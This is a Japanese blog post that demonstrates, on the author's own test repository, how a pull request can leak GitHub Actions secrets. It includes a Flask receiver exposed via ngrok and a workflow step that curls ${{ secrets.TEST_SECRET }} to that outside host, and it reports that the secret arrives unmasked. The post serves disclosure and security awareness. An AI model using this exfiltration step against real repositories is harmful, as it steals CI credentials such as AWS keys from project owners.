虚無ありき

うるせーーーしらねーーー

GitHub Actions + PullRequest を使って、第三者が GitHub Secrets を取得できる脆弱性

イデアとしては、

blog.utgw.net

この記事で何を検証したいかというと、

  • 三者が Repository 内の GitHub Actions を修正した PullRequest を作成したら、任意のコードを実行できる。
  • Repository 管理者は、GitHub Secrets を使って、AWS のクレデンシャルなどを ${{ secrets.AWS_SECRET_ACCESS_KEY }} として、コードに含まれないようにしている。
  • curl -X POST http://some_url -F "secret=${{ secrets.AWS_SECRET_ACCESS_KEY }}" の様なコードを潜り込ませたら、secrets を取得できるのではないか?

結果として、

取得できた。

検証

下準備

まず、空の Repository を作る。

空repository
空repository

[Repository] - [Settings] - [Actions secrets] から適当な GitHub Secrets を設定する。

適当な GitHub Secrets
適当な GitHub Secrets

echo を使ってみる

ここから、まず、echo を使って、GitHub Secrets が見えないか検証してみる。

適当に clone して、echo を使った GitHub Actions を追加して、push する。

$ ghq get git@github.com:suecharo/github_secret_test.git
$ cd git/github.com/suecharo/github_secret_test
$ pwd
/Users/suecharo/git/github.com/suecharo/github_secret_test
$ mkdir -p .github/workflows
$ touch .github/workflows/echo_secret.yml

.github/workflows/echo_secret.yml

name: echo_secret
on: [push, pull_request]
jobs:
  echo:
    runs-on: ubuntu-latest
    steps:
      - name: Echo secret
        run: |
          echo "${{ secrets.TEST_SECRET }}"
$ git add .
$ git commit -m "Add echo secret"
[master (root-commit) 04f8c48] Add echo secret
1 file changed, 9 insertions(+)
create mode 100644 .github/echo_secret/workflow.yml
$ git push
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 8 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (5/5), 432 bytes | 432.00 KiB/s, done.
Total 5 (delta 0), reused 0 (delta 0), pack-reused 0
To ssh://github.com/suecharo/github_secret_test.git

- [new branch] master -> master

この状態で、GitHub Actions を見に行くと、

echo_test
Echo を使った Test

流石に *** として、見えないようになっている。

curl を使ってみる

次に、curl を使って外に POST して、GitHub Secrets が見えないか検証してみる。

適当に Flask サーバを立てて、ngrok を使って、グローバルに露出させる。

app.py

# coding: utf-8
from flask import Flask, request, jsonify

app = Flask(__name__)


@app.route("/test", methods=["POST"])
def post_test_secret():
    print(request.form["secret"])
    return jsonify({
        "status": "OK",
        "secret": request.form["secret"]
    })


if __name__ == "__main__":
    app.run()
$ python3 app.py
python3 app.py 
 * Serving Flask app "app" (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)

$ ngrok http 5000
ngrok by @inconshreveable

Session Status                online
Session Expires               1 hour, 33 minutes
Version                       2.3.35
Region                        United States (us)
Web Interface                 http://127.0.0.1:4040
Forwarding                    http://3f08dbe32e1d.ngrok.io -> http://localhost:5000
Forwarding                    https://3f08dbe32e1d.ngrok.io -> http://localhost:5000

Connections                   ttl     opn     rt1     rt5     p50     p90
                              3       0       0.00    0.00    0.01    0.01

この状態で、curl を使って、疎通ができるか確認する。

$ curl http://3f08dbe32e1d.ngrok.io/test -F "secret=test_secret"
{"secret":"test_secret","status":"OK"}

出来た。

次に、Repository に対して、下の GitHub Workflow を追加した PullRequest を作成する。

curl_securet.yml

name: curl secret
on: [push, pull_request]
jobs:
  echo:
    runs-on: ubuntu-latest
    steps:
      - name: Curl secret
        run: |
          curl http://3f08dbe32e1d.ngrok.io/test -F "secret=${{ secrets.TEST_SECRET }}"

その後、PullRequest の GitHub Actions を確認すると、

PullRequest Actions
PullRequest Actions

動いてる。

GitHub Actions curl
GitHub Actions curl

GitHub Actions のページ上では、*** として request params も response もマスキングされているが、

Local Flask Server
Local Flask Server

Local に立てた Flask Server には、GitHub Secrets が送られてきている。

結論

  • GitHub Actions + PullRequest はすごく便利であるが、第三者が任意のコードを実行できる
  • GitHub Secrets に AWS クレデンシャルなどを置いていた場合、奪われる可能性がある
  • GitHub Actions において、ホワイトリスト方式で実行できるユーザを制限する Option が必要なのではないか?